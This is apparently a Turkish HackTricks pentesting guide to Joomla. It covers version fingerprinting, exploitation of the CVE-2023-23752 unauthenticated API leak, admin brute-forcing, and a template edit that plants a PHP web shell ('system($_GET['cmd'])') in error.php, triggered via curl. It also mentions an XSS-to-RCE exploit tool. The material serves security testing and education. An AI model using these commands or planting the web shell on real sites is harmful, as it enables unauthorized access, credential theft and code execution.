Joomla

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Joomla İstatistikleri

Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümleri ile sunucu işletim sistemlerinin dağılımı gibi bazı anonim kullanım istatistikleri toplar. Bu veriler, kamuya açık API aracılığıyla sorgulanabilir.

bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • meta'yı kontrol et
bash
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Sürüm

  • /administrator/manifests/files/joomla.xml dosyasında sürümü görebilirsiniz.
  • /language/en-GB/en-GB.xml dosyasında Joomla'nın sürümünü alabilirsiniz.
  • plugins/system/cache/cache.xml dosyasında yaklaşık bir sürümü görebilirsiniz.

Otomatik

bash
droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology, Joomla'yı tarayabilen CMS tarayıcıları hakkında bir bölüm.

API Kimlik Doğrulaması Olmadan Bilgi Sızdırma:

4.0.0 ile 4.2.7 arasındaki sürümler, kimlik doğrulaması olmadan bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve bu, kimlik bilgilerini ve diğer bilgileri dökebilir.

  • Kullanıcılar: http://<host>/api/v1/users?public=true
  • Konfigürasyon Dosyası: http://<host>/api/index.php/v1/config/application?public=true

MSF Modülü: scanner/http/joomla_api_improper_access_checks veya ruby script: 51334

Kaba Kuvvet

Giriş denemesi yapmak için bu script'i kullanabilirsiniz.

shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Eğer admin kimlik bilgilerine erişmeyi başardıysanız, RCE elde etmek için bir PHP kodu parçası ekleyerek içinde RCE gerçekleştirebilirsiniz. Bunu şablonu özelleştirerek yapabiliriz.

  1. Configuration altında sol altta bulunan Templates seçeneğine tıklayın ve şablonlar menüsünü açın.
  2. Bir şablon adına tıklayın. Template sütun başlığı altında protostar seçeneğini seçelim. Bu, bizi Templates: Customise sayfasına götürecek.
  3. Son olarak, sayfa kaynağını açmak için bir sayfaya tıklayabilirsiniz. error.php sayfasını seçelim. Aşağıdaki gibi kod yürütmek için bir PHP one-liner ekleyeceğiz:
  4. system($_GET['cmd']);
  5. Kaydet ve Kapat
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

From XSS to RCE

  • JoomSploit: Joomla Sömürü Scripti, XSS'i RCE veya Diğer Kritik Güvenlik Açıklarına Yükseltir. Daha fazla bilgi için bu gönderiye bakın. Joomla Sürümleri 5.X.X, 4.X.X ve 3.X.X için destek sağlar ve şunları yapmanıza olanak tanır:
  • Yetki Yükseltme: Joomla'da bir kullanıcı oluşturur.
  • (RCE) Yerleşik Şablonları Düzenleme: Joomla'daki Yerleşik Şablonları düzenler.
  • (Özel) Özel Sömürü: Üçüncü Taraf Joomla Eklentileri için Özel Sömürü.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin